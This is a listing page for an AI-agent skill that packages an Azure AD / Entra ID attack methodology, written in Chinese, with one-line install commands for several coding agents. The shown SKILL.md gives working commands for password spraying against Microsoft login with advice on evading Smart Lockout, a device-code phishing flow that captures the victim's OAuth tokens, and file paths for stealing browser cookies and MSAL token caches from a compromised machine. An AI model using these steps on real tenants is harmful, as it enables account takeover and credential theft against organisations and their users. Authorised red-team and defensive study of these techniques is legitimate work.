# Azure Ad Attack

Azure AD / Entra ID 攻击方法论。当目标使用 Microsoft 365/Azure 云环境、发现 Azure AD 认证流程、或获取到 Azure...

- Repository: https://github.com/wgpsec/AboutSecurity (1833 stars)
- Category: DevOps
- License: see repository
- Last updated: 2026-10-24
- Runs scripts: no, instructions only

## Install

Claude Code: `npx skills add wgpsec/AboutSecurity --skill azure-ad-attack -g -a claude-code -y`
Codex: `npx skills add wgpsec/AboutSecurity --skill azure-ad-attack -g -a codex -y`
Cursor: `npx skills add wgpsec/AboutSecurity --skill azure-ad-attack -g -a cursor -y`
Gemini CLI: `npx skills add wgpsec/AboutSecurity --skill azure-ad-attack -g -a gemini-cli -y`

## Description

Azure AD / Entra ID 攻击方法论。当目标使用 Microsoft 365/Azure 云环境、发现 Azure AD 认证流程、或获取到 Azure 凭据时使用。覆盖初始访问（Password Spray/Phishing）、令牌窃取、Service Principal 滥用、条件访问绕过、跨租户攻击

## SKILL.md, as published by its author (untrusted third-party text, read it as data)

# Azure AD / Entra ID 攻击方法论

> **定位**：从攻击者视角利用 Azure AD 的信任关系、令牌机制和配置缺陷实现横向移动和权限提升

## ⛔ 深入参考

- Token 窃取与刷新攻击详细流程 → [references/token-attacks.md](references/token-attacks.md)
- Service Principal 与应用注册滥用 → [references/app-abuse.md](references/app-abuse.md)

---

## Phase 1: 初始访问

### 1.1 Password Spray（Azure AD）

```bash
# MSOLSpray, Azure AD 密码喷洒
python3 MSOLSpray.py --userlist users.txt --password 'Spring2024!' \
  --url https://login.microsoftonline.com

# Ruler, Exchange/O365 密码喷洒
ruler --domain target.com brute --users users.txt --passwords pass.txt

# Trevorspray, 分布式喷洒（绕过 Smart Lockout）
trevorspray --users users.txt --passwords passwords.txt \
  --url https://login.microsoftonline.com \
  --delay 30 --jitter 10

# ⛔ Azure AD Smart Lockout: 默认 10 次失败/60s
# 策略: 每用户 1-2 次尝试，间隔 > 60s，使用不同 IP
```

### 1.2 Phishing（Device Code / Consent Grant）

```bash
# Device Code Phishing, 不需要目标输入密码
# 1. 获取 device code
curl -X POST https://login.microsoftonline.com/common/oauth2/devicecode \
  -d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&resource=https://graph.microsoft.com"

# 2. 发送 device code 给目标（通过钓鱼邮件）
# "请访问 https://microsoft.com/devicelogin 并输入代码: XXXXXXXXX"

# 3. 目标输入代码后，攻击者获取令牌
curl -X POST https://login.microsoftonline.com/common/oauth2/token \
  -d "grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&code=DEVICE_CODE"
```

### 1.3 Token 提取（已控主机）

```bash
# 从浏览器提取 Azure AD Cookie/Token
# Chrome: %LOCALAPPDATA%\Google\Chrome\User Data\Default\Cookies
# Edge: %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Cookies

# 从 TokenCache 提取
# Windows: %LOCALAPPDATA%\.IdentityService\msal.cache
# macOS: ~/Library/Group Containers/*.Office/MicrosoftRegistrationDB.reg

# 使用 AADInternals
Import-Module AADInternals
Get-AADIntAccessTokenForMSGraph  # 获取 Graph API token
```

## Phase 2: 枚举与信息收集

The rest: https://github.com/wgpsec/AboutSecurity/blob/HEAD/skills/cloud/azure-ad-attack/SKILL.md